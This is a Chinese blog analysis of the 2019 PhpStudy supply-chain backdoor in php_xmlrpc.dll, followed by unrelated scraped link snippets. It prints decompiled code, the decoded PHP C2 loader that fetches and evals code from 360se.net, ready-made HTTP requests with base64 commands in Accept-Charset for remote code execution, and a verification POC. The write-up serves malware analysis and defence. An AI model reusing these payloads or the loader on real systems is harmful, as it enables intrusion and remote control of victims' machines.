关于《PhpStudy BackDoor》风波已经过去有一段时间了,由于,前段时间一直忙于其它事情QAQ,今天有时间对该事件重新回溯&深度分析。

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径

背景分析

2019年9月20日,杭州市公安局举行新闻通报会,通报今年以来组织开展打击涉网违法犯罪暨“净网2019”专项行动战果,通报内容中提到国内著名的PHP调试环境程序集成包Phpstudy软件遭受到以马某为首的国内黑客团伙攻击并被植入后门。 Phpstudy集成环境包在国内的使用用户逾百万,据悉,此次后门攻击事件可追溯到2016年,屹今为止累计控制计算机逾67万台,该黑客团伙通过该后门获取的用户信息、各类系统账号信息进一步开展违法行为,累计非法牟利600余万元。

影响版本

phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

环境准备

测试环境以“phpStudy20161103版本 php5.4.45”为例进行分析

ps:目前官方已更新旧版本程序,可自行下载 https://www.xp.cn

第一个是目前官方正常配置文件,第二个是被植入后门的配置文件,从图中直观的也能看出来两个文件的大小不一样!!分别对其进行Hash校验:

MD5(php_xmlrpc.dll):c339482fd2b233fb0a555b629c0ea5d5

MD5(php_xmlrpc true.dll):6ddb8f2af4b2b24671ddcd82d7c08c91

通过Hash校验发现两个文件的Hash值不一样!

后门分析

目前各大厂商已将此后门加入威胁情报库中,此处通过virustotal和火绒查看

从上图可以看到原始的php_xmlrpc.dll存在威胁,接下来开始对“php_xmlrpc.dll”进行深入分析......

通过IDA进行查看可以发现官方更新过的“php_xmlrpc.dll”文件已经不存在危险函数“sub_100031F0”,下面正式分析被植入后门的“php_xmlrpc.dll”

首先,用IDA打开php_xmlrpc.dll”,shift+f12定位是否存在危险字符串

通过索引发现存在危险函数eval()

根据eval()函数定位到相应的代码段然后反编译伪代码找到后门危险函数“sub_100031F0”

“sub_100031F0”程序代码

int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3)
{
int v3; // edx
int v4; // eax
int v5; // ecx
int v6; // eax
int v7; // esi
char *v8; // edi
char *v9; // ecx
int v10; // eax
char *v11; // esi
int v12; // eax
char *v13; // edi
char *v14; // ecx
_DWORD *v15; // esi
int v16; // eax
void *v17; // edx
int v18; // eax
void *v19; // edi
_DWORD *v20; // esi
int result; // eax
int v22; // eax
int v23; // ecx
int v24; // eax
int v25; // edi
_DWORD *v26; // esi
char v27; // [esp+Dh] [ebp-19Bh]
__int16 v28; // [esp+BDh] [ebp-EBh]
char v29; // [esp+BFh] [ebp-E9h]
char v30; // [esp+C0h] [ebp-E8h]
char v31; // [esp+100h] [ebp-A8h]
char v32; // [esp+140h] [ebp-68h]
char v33; // [esp+180h] [ebp-28h]
const char ***v34; // [esp+184h] [ebp-24h]
int v35; // [esp+188h] [ebp-20h]
int v36; // [esp+18Ch] [ebp-1Ch]
int **v37; // [esp+190h] [ebp-18h]
int v38; // [esp+194h] [ebp-14h]
_DWORD **v39; // [esp+198h] [ebp-10h]
void *v40; // [esp+19Ch] [ebp-Ch]
char *v41; // [esp+1A0h] [ebp-8h]
char *v42; // [esp+1A4h] [ebp-4h] memset(&v27, , 0xB0u);
v28 = ;
v3 = *a3;
v29 = ;
if ( *(_BYTE *)(*(_DWORD *)(v3 + * core_globals_id - ) + ) )
zend_is_auto_global(aServer, , a3);
zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, , &v33);
if ( zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -
&& zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + , &v34) != - )
{
if ( !strcmp(**v34, aGzipDeflate) )
{
if ( zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -
&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + , &v37) != - )
{
v40 = sub_100040B0(**v37, strlen((const char *)**v37));
if ( v40 )
{
v4 = *(_DWORD *)(*a3 + * executor_globals_id - );
v5 = *(_DWORD *)(v4 + );
*(_DWORD *)(v4 + ) = &v30;
v35 = v5;
v6 = setjmp3(&v30, );
v7 = v35;
if ( v6 )
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v35;
else
zend_eval_string(v40, , &byte_10012884, a3);
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v7;
}
}
}
else
{
v12 = strcmp(**v34, aCompressGzip);
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( )
{
if ( *v15 == )
{
v13[v12] = ;
v42[v12 + ] = *v14;
v12 += ;
v15 += ;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += ;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
spprintf(&v36, , aVSMS, byte_100127B8, Dest);
spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);
v16 = *(_DWORD *)(*a3 + * executor_globals_id - );
v17 = *(void **)(v16 + );
*(_DWORD *)(v16 + ) = &v32;
v40 = v17;
v18 = setjmp3(&v32, );
v19 = v40;
if ( v18 )
{
v20 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v40;
}
else
{
v20 = a3;
zend_eval_string(v42, , &byte_10012884, a3);
}
result = ;
*(_DWORD *)(*(_DWORD *)(*v20 + * executor_globals_id - ) + ) = v19;
return result;
}
}
}
if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < )
{
if ( strlen(byte_100127B8) == )
sub_10004480(byte_100127B8);
if ( strlen(Dest) == )
sub_10004380(Dest);
if ( strlen(byte_100127EC) == )
sub_100044E0(byte_100127EC);
v8 = &byte_10012884;
v9 = asc_1000D028;
v41 = &byte_10012884;
v10 = ;
v11 = asc_1000D028;
while ( )
{
if ( *(_DWORD *)v11 == )
{
v8[v10] = ;
v41[v10 + ] = *v9;
v10 += ;
v11 += ;
}
else
{
v8[v10++] = *v9;
v11 += ;
}
v9 += ;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
break;
v8 = v41;
}
spprintf(&v41, , aEvalSS, aGzuncompress, v41);
v22 = *(_DWORD *)(*a3 + * executor_globals_id - );
v23 = *(_DWORD *)(v22 + );
*(_DWORD *)(v22 + ) = &v31;
v38 = v23;
v24 = setjmp3(&v31, );
v25 = v38;
if ( v24 )
{
v26 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v38;
}
else
{
v26 = a3;
zend_eval_string(v41, , &byte_10012884, a3);
}
*(_DWORD *)(*(_DWORD *)(*v26 + * executor_globals_id - ) + ) = v25;
if ( dword_1000D010 < )
dword_1000D010 += ;
ftime(&dword_10012AA0);
} ftime(&dword_10012AB0);
if ( dword_10012AA0 < )
ftime(&dword_10012AA0);
return ;
}

首先分析spprintf()函数代码处功能,因为其对eval()函数进行了处理

spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);

spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);

spprintf函数是php官方自己封装的函数,此处实际上实现的是字符串拼接功能,实际代码如下:

@eval(%s(',27h,'%s',27h,'));

@eval(gzuncompress(',27h,’v42′,27h,')); 
@eval(gzuncompress(',27h,’v41′,27h,')); 

ps:eval()函数中第一个%s位格式化字符串、第二个%s为字符串传参

可以看到上述代码主要对v41、v42数据进行解压执行操控,可以初步猜想恶意代码存在于v41和v42数据中,同理按照思路流程向上去找v41、v42数据内容,

对v41的处理代码

if ( strlen(byte_100127EC) ==  )
sub_100044E0(byte_100127EC);
v8 = &byte_10012884;
v9 = asc_1000D028;
v41 = &byte_10012884;
v10 = ;
v11 = asc_1000D028;
while ( )
{
if ( *(_DWORD *)v11 == )
{
v8[v10] = ;
v41[v10 + ] = *v9;
v10 += ;
v11 += ;
}
else
{
v8[v10++] = *v9;
v11 += ;
}
v9 += ;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
break;
v8 = v41;
}

对v42的处理代码

if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( )
{
if ( *v15 == )
{
v13[v12] = ;
v42[v12 + ] = *v14;
v12 += ;
v15 += ;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += ;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}

分析代码可知v41数据内容是1000D028-1000D66C(基地址为10000000)范围内的数据,v42数据内容是1000D66C-1000E5C4(基地址为10000000)范围内的数据,使用010edit查看发现其均位于.data数据块

由于.data为dword类型每个值占用4个字节,代码处将其转换为char类型进行存储,然后使用php内置函数gzuncompress对其解压执行

使用微步情报局公开的解密脚本进行两段数据的提取解压

# -*- coding:utf-8 -*-

    # !/usr/bin/env python

    import os, sys, string, shutil, re

    import base64

    import struct

    import pefile

    import ctypes

    import zlib

    # import put_family_c2

    def hexdump(src, length=16):

        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])

        lines = []

        for c in xrange(0, len(src), length):

            chars = src[c:c + length]

            hex = ' '.join(["%02x" % ord(x) for x in chars])

            printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')

                                 for x in chars])

            lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))

        return ''.join(lines)

    def descrypt(data):

        try:

            # data = base64.encodestring(data)

            # print(hexdump(data))

            num = 0

            data = zlib.decompress(data)

            # return result

            return (True, result)

        except Exception, e:

            print(e)

            return (False, "")

    def GetSectionData(pe, Section):

        try:

            ep = Section.VirtualAddress

            ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase

            data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]

            # print(hexdump(data))

            return data

        except Exception, e:

            return None

    def GetSecsions(PE):

        try:

            for section in PE.sections:

                # print(hexdump(section.Name))

                if (section.Name.replace('\x00', '') == '.data'):

                    data = GetSectionData(PE, section)

                    # print(hexdump(data))

                    return (True, data)

            return (False, "")

        except Exception, e:

            return (False, "")

    def get_encodedata(filename):

        pe = pefile.PE(filename)

        (ret, data) = GetSecsions(pe)

        if ret:

            flag = "gzuncompress"

            offset = data.find(flag)

            data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")

            decodedata_1 = zlib.decompress(data[:0x191])

            print(hexdump(data[0x191:]))

            decodedata_2 = zlib.decompress(data[0x191:])

            with open("decode_1.txt", "w") as hwrite:

                hwrite.write(decodedata_1)

                hwrite.close

            with open("decode_2.txt", "w") as hwrite:

                hwrite.write(decodedata_2)

                hwrite.close

    def main(path):

        c2s = []

        domains = []

        file_list = os.listdir(path)

        for f in file_list:

            print f

            file_path = os.path.join(path, f)

            get_encodedata(file_path)

    if __name__ == "__main__":

        # os.getcwd()

        path = "php5.4.45"

        main(path)

运行结果生成两个数据文件分别对应v41、v42,查看数据内容是经过base64编码过的,对其解码

v41数据

@ini_set("display_errors","");

    error_reporting(0);

    $h = $_SERVER['HTTP_HOST'];

    $p = $_SERVER['SERVER_PORT'];

    $fp = fsockopen($h, $p, $errno, $errstr, 5);

    if (!$fp) {

    } else {

        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

        $out .= "Host: {$h}\r\n";

        $out .= "Accept-Encoding: compress,gzip\r\n";

        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);

        fclose($fp);

    }

v41脚本:使用fsockopen模拟GET发包

v42数据

@ini_set("display_errors","");

    error_reporting(0);

    function tcpGet($sendMsg = '', $ip = '360se.net', $port = ''){

        $result = "";

      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);

      if( !$handle ){

        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

        if( !$handle ){

            return "err";

        }

      }

      fwrite($handle, $sendMsg."\n");

        while(!feof($handle)){

            stream_set_timeout($handle, 2);

            $result .= fread($handle, 1024);

            $info = stream_get_meta_data($handle);

            if ($info['timed_out']) {

              break;

            }

         }

      fclose($handle);

      return $result;

    }

    $ds = array("www","bbs","cms","down","up","file","ftp");

    $ps = array("","","","","");

    $n = false;

    do {

        $n = false;

        foreach ($ds as $d){

            $b = false;

            foreach ($ps as $p){

                $result = tcpGet($i,$d.".360se.net",$p);

                if ($result != "err"){

                    $b =true;

                    break;

                }

            }

            if ($b)break;

        }

        $info = explode("<^>",$result);

        if (count($info)==4){

            if (strpos($info[3],"/*Onemore*/") !== false){

                $info[3] = str_replace("/*Onemore*/","",$info[3]);

                $n=true;

            }

            @eval(base64_decode($info[3]));

        }

    }while($n);

v42脚本:后门c2服务器(360se.net)(当前c2已经失活,因此不会对相关被控主机造成新的危害)

ps:从上面v41、v42数据的提取过程,可以发现攻击者对数据进行了压缩存储,增加了恶意代码的隐蔽性,同时c2服务器域名模仿了奇虎360公司相关产品名称,具有一定的欺诈特性。

分析反向连接c2后门

核心代码

v12 = strcmp(**v34, aCompressGzip);       // //compress,gzip
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( )
{
if ( *v15 == )
{
v13[v12] = ;
v42[v12 + ] = *v14;
v12 += ;
v15 += ;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += ;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
spprintf(&v36, , aVSMS, byte_100127B8, Dest);
spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);
v16 = *(_DWORD *)(*a3 + * executor_globals_id - );
v17 = *(void **)(v16 + );

分析代码逻辑,首先想要执行

spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);

必须满足if ( !v12 )

v12 = strcmp(**v34, aCompressGzip);
if ( !v12 )

定位aCompressGzip,只要ACCEPT_ENCODING等于compress,gzip即可出发v42恶意代码

构造相应Payload:

GET / HTTP/1.1
Host: x.x.x.x
…..
Accept-Encoding:compress,gzip
….

ps:由于C2服务器已经失效,不在进行后续操作

分析正向连接 RCE

在C2后门基础上向上接着分析

核心代码

if ( zend_hash_find(*(_DWORD *)(*a3 +  * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -
&& zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + , &v34) != - )
{
if ( !strcmp(**v34, aGzipDeflate) )
{
if ( zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -
&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + , &v37) != - )
{
v40 = sub_100040B0(**v37, strlen((const char *)**v37));
if ( v40 )
{
v4 = *(_DWORD *)(*a3 + * executor_globals_id - );
v5 = *(_DWORD *)(v4 + );
*(_DWORD *)(v4 + ) = &v30;
v35 = v5;
v6 = setjmp3(&v30, );
v7 = v35;
if ( v6 )
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v35;
else
zend_eval_string(v40, , &byte_10012884, a3);
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v7;
}
}
}

分析代码逻辑

第一个if(),判断是否存在HTTP_ACCEPT_ENCODING字段,$_SERVER['HTTP_ACCEPT_ENCODING'] 为当前请求的 Accept-Encoding: 头部信息的内容。

第二个if(),在第一个if()基础上,判断$_SERVER['HTTP_ACCEPT_ENCODING'] 字段值是否是gzip,deflate。

第三个if(),在前两个if()的基础上,判断是否存在HTTP_ACCEPT_CHARSET字段 ,$_SERVER['HTTP_ACCEPT_CHARSET']为当前请求的 Accept-Charset: 头部信息的内容。

最后,在前三个if()的基础上,提取HTTP_ACCEPT_CHARSET字段值,并对该值进行base64解码,然后调用zend_eval_string(v40, 0, &byte_10012884, a3); 执行RCE。

构造相应Payload:

GET / HTTP/1.1
Host: x.x.x.x
…..
Accept-Encoding: gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
….

EXP利用

后门RCE

exp构造

GET /phpinfo.php HTTP/1.1
Host: 192.168.43.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/ Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Connection: close
Upgrade-Insecure-Requests: 1

exp利用

Accept-Charset请求头字段值需要经过base64编码

c3lzdGVtKCJuZXQgdXNlciIpOw==

system("net user");

通过system函数查询的回显,可以看到后门RCE漏洞执行成功

ps:需要注意的一点,Accept-Encoding: gzip,deflate中,gzip,deflate之间不能存在空格,因为后门程序是进行的严格字符串匹配

POC构造

后门RCE

POC验证

POC代码编写利用创宇的pocsuite3框架进行编写,此处放上自己最初写的POC,只包含漏洞验证模块,因为本人已删掉attack模块(安全第一!!!)

import base64
import hashlib
import random
import urllib
from urllib.parse import urljoin, quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip, get_listener_port
from pocsuite3.api import requests
from pocsuite3.lib.core.data import logger
from pocsuite3.lib.utils import get_middle_text class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
author = ['Qftm']
vulDate = '2019-09-23'
createDate = '2019-09-23'
updateDate = '2019-09-23'
references = ['https://www.seebug.org/vuldb/ssvid-93212']
name = 'phpstudy backdoor'
appPowerLink = 'http://www.finecms.net/show-1.html '
appName = 'phpstudy'
appVersion = 'version = 2018|2016'
vulType = 'backdoor'
desc = '''Phpstudy Backdoor RCE'''
samples = []
install_requires = ['']
category = POC_CATEGORY.EXPLOITS.WEBAPP def _verify(self):
result = {}
try:
vul_url = urljoin(self.url, '/')
rand_num = random.randint(0, 1000)
hash_flag = hashlib.md5(str(rand_num).encode()).hexdigest()
print(vul_url)
prexp = '''echo '{}' ;'''.format(hash_flag)
exp = base64.b64encode(prexp.encode()).decode()
headers = {'Accept-Encoding': 'gzip,deflate',
'Accept-Charset': '{}'.format(exp)
}
r = requests.post(vul_url, headers=headers)
if r.status_code != 404:
if hash_flag in r.text:
print(r.headers.get("Location"))
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
except Exception as ex:
logger.exception(ex)
return self.parse_output(result) def _attack(self):
result = {} return self.parse_output(result) def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output register_poc(DemoPOC)

漏洞验证机制使用随机数产生的MD5值(hash_flag)进行校验,首先判断网页是否是404提高命中率,然后根据网页返回来的内容,比对查看是否包含相应的hash_flag,如果包含则证明存在后门RCE,否则不存在。

验证效果

漏洞预防

1、内部排查确认受影响的Phpstudy环境PC主机,进行安全扫描处理(火绒、360安全卫士等)、清除可能存在的可疑程序。

2、对受影响的Phpstudy环境PC主机上的用户账号信息做登录日志审计、及时更换相关账号密码,防止账号密码早已泄露,造成危害。

3、到官网进行下载更新,校验hash。

参考链接

https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw

https://www.freebuf.com/articles/others-articles/215406.html#

https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

PhpStudy BackDoor2019 深度分析的更多相关文章

  1. const与readonly深度分析(.NET)

    前言 很多.NET的初学者对const和readonly的使用很模糊,本文就const和readonly做一下深度分析,包括: 1. const数据类型的优势 2. const数据类型的劣势 3. r ...

  2. 转:[gevent源码分析] 深度分析gevent运行流程

    [gevent源码分析] 深度分析gevent运行流程 http://blog.csdn.net/yueguanghaidao/article/details/24281751 一直对gevent运行 ...

  3. 深度分析 Java 的枚举类型:枚举的线程安全性及序列化问题(转)

    写在前面: Java SE5 提供了一种新的类型 Java的枚举类型,关键字 enum 可以将一组具名的值的有限集合创建为一种新的类型,而这些具名的值可以作为常规的程序组件使用,这是一种非常有用的功能 ...

  4. AndroidService 深度分析(2)

    AndroidService 深度分析(2) 上一篇文章我们Service的生命周期进行了測试及总结. 这篇文章我们介绍下绑定执行的Service的实现. 绑定执行的Service可能是仅为本应用提供 ...

  5. 深度分析如何在Hadoop中控制Map的数量

    深度分析如何在Hadoop中控制Map的数量 guibin.beijing@gmail.com 很多文档中描述,Mapper的数量在默认情况下不可直接控制干预,因为Mapper的数量由输入的大小和个数 ...

  6. MapReduce深度分析(二)

    MapReduce深度分析(二) 五.JobTracker分析 JobTracker是hadoop的重要的后台守护进程之一,主要的功能是管理任务调度.管理TaskTracker.监控作业执行.运行作业 ...

  7. MapReduce深度分析(一)

    MapReduce深度分析(一) 一.数据流向分析 图为MapReduce数据流向示意图 步骤1.输入文件从HDFS流向到Mapper节点.在一般情况下,存储数据的节点就是Mapper运行的节点,不需 ...

  8. 【JVM】深度分析Java的ClassLoader机制(源码级别)

    原文:深度分析Java的ClassLoader机制(源码级别) 为了更好的理解类的加载机制,我们来深入研究一下ClassLoader和他的loadClass()方法. 源码分析 public abst ...

  9. 深度分析Java的枚举类型—-枚举的线程安全性及序列化问题

    原文:深度分析Java的枚举类型--枚举的线程安全性及序列化问题 枚举是如何保证线程安全的 要想看源码,首先得有一个类吧,那么枚举类型到底是什么类呢?是enum吗?答案很明显不是,enum就和clas ...

随机推荐

  1. Mobius反演学习

    这篇文章参考了许多资料和自己的理解. 先放理论基础. 最大公约数:小学学过,这里只提一些重要的公式: $·$若$a=b$,则$\gcd(a,b)=a=b$: $·$若$\gcd(a,b)=d$,则$\ ...

  2. Rust入坑指南:千人千构

    坑越来越深了,在坑里的同学让我看到你们的双手! 前面我们聊过了Rust最基本的几种数据类型.不知道你还记不记得,如果不记得可以先复习一下.上一个坑挖好以后,有同学私信我说坑太深了,下来的时候差点崴了脚 ...

  3. day34作业

    作业 查看岗位是teacher的员工姓名.年龄 select name,age from teacher where post='teacher'; 查看岗位是teacher且年龄大于30岁的员工姓名 ...

  4. Redis(四)Jedis客户端

    一.客户端通信协议 二.Java客户端Jedis 1.获取Jedis Jedis属于Java的第三方开发包,在Java中获取第三方开发包通常有两种方式: 直接下载目标版本的Jedis-${versio ...

  5. go map数据结构和源码详解

    目录 1. 前言 2. go map的数据结构 2.1 核心结体体 2.2 数据结构图 3. go map的常用操作 3.1 创建 3.2 插入或更新 3.3 删除 3.4 查找 3.5 range迭 ...

  6. TOMACT 各个版本集合

    http://archive.apache.org/dist/tomcat/ 再点击 bin 目录,找到想下载的即可

  7. SROP的一个实例

    以前一直只是大概看过这种技术,没实践过,今天刚好遇到一道题,实践了一波,确实很方便 unmoxiao@cat ~/s/pd_ubuntu> r2 -A smallest 00:54:15 War ...

  8. 伪紫题p5194 天平(dfs剪枝)

    这题作为一个紫题实在是过分了吧...绿的了不起了.—————————————————————————— 看题第一眼,01背包无误.2min打好一交全屏紫色(所以这就是这题是紫色的原因233?) re原 ...

  9. 【解决】Got permission denied while trying to connect to the Docker daemon socket at......dial unix /var/run/docker.sock: permission denied

    >>> 问题:搭建Portainer时,选择本地连接报错? >>>分析: 根据报错信息可知是权限问题. 可能原因一:使用了非root用户启用或连接docker &g ...

  10. 模拟示例raid 5(5块磁盘 3块做raid 2块做备份 ) raid 10(5块磁盘) 修改版

    RAID5:需要至少三块(含)硬盘,兼顾存储性能.数据安全和储存成本. RAID10:需要至少四块(含)硬盘,兼具速度和安全性,但成本很高. raid 10(5块磁盘) 1.添加硬盘设备(添加5块) ...